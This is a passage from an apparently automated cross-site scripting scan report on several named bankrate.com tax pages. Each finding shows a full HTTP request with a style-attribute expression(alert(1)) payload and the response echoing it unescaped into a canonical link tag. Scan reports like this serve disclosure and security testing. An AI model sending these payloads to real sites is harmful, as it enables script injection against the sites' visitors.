This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /finance/taxes/avoiding-an-early-sep-ira-withdrawal-penalty.aspx?df3fd"style%3d"x%3aexpression(alert(1))"7575b7951d=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb02
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:25:48 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 134326


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/finance/taxes/avoiding-an-early-sep-ira-withdrawal-penalty.aspx?df3fd"style="x:expression(alert(1))"7575b7951d=1" />
...[SNIP]...

1.15. http://www.bankrate.com/finance/taxes/first-time-homebuyer-denied-tax-credit.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /finance/taxes/first-time-homebuyer-denied-tax-credit.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15877"style%3d"x%3aexpression(alert(1))"12aa90eddec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 15877"style="x:expression(alert(1))"12aa90eddec in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /finance/taxes/first-time-homebuyer-denied-tax-credit.aspx?15877"style%3d"x%3aexpression(alert(1))"12aa90eddec=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb02
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:26:02 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 132541


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/finance/taxes/first-time-homebuyer-denied-tax-credit.aspx?15877"style="x:expression(alert(1))"12aa90eddec=1" />
...[SNIP]...

1.16. http://www.bankrate.com/finance/video/taxes-choosing-a-tax-professional.aspx [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankrate.com
Path:   /finance/video/taxes-choosing-a-tax-professional.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29694"style%3d"x%3aexpression(alert(1))"d823d3e6d6e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 29694"style="x:expression(alert(1))"d823d3e6d6e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /finance/video/taxes-choosing-a-tax-professional.aspx?29694"style%3d"x%3aexpression(alert(1))"d823d3e6d6e=1 HTTP/1.1
Host: www.bankrate.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Servername: a-brmweb01
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 1.7.0
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=900
Date: Fri, 05 Nov 2010 04:28:58 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 136533


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link type="text/css"
...[SNIP]...
<link rel="canonical" href="http://www.bankrate.com/finance/video/taxes-choosing-a-tax-professional.aspx?29694"style="x:expression(alert(1))"d823d3e6d6e=1" />
...[SNIP]...

Report generated by XSS.CX at Fri Nov 05 11:14:48 CDT 2010.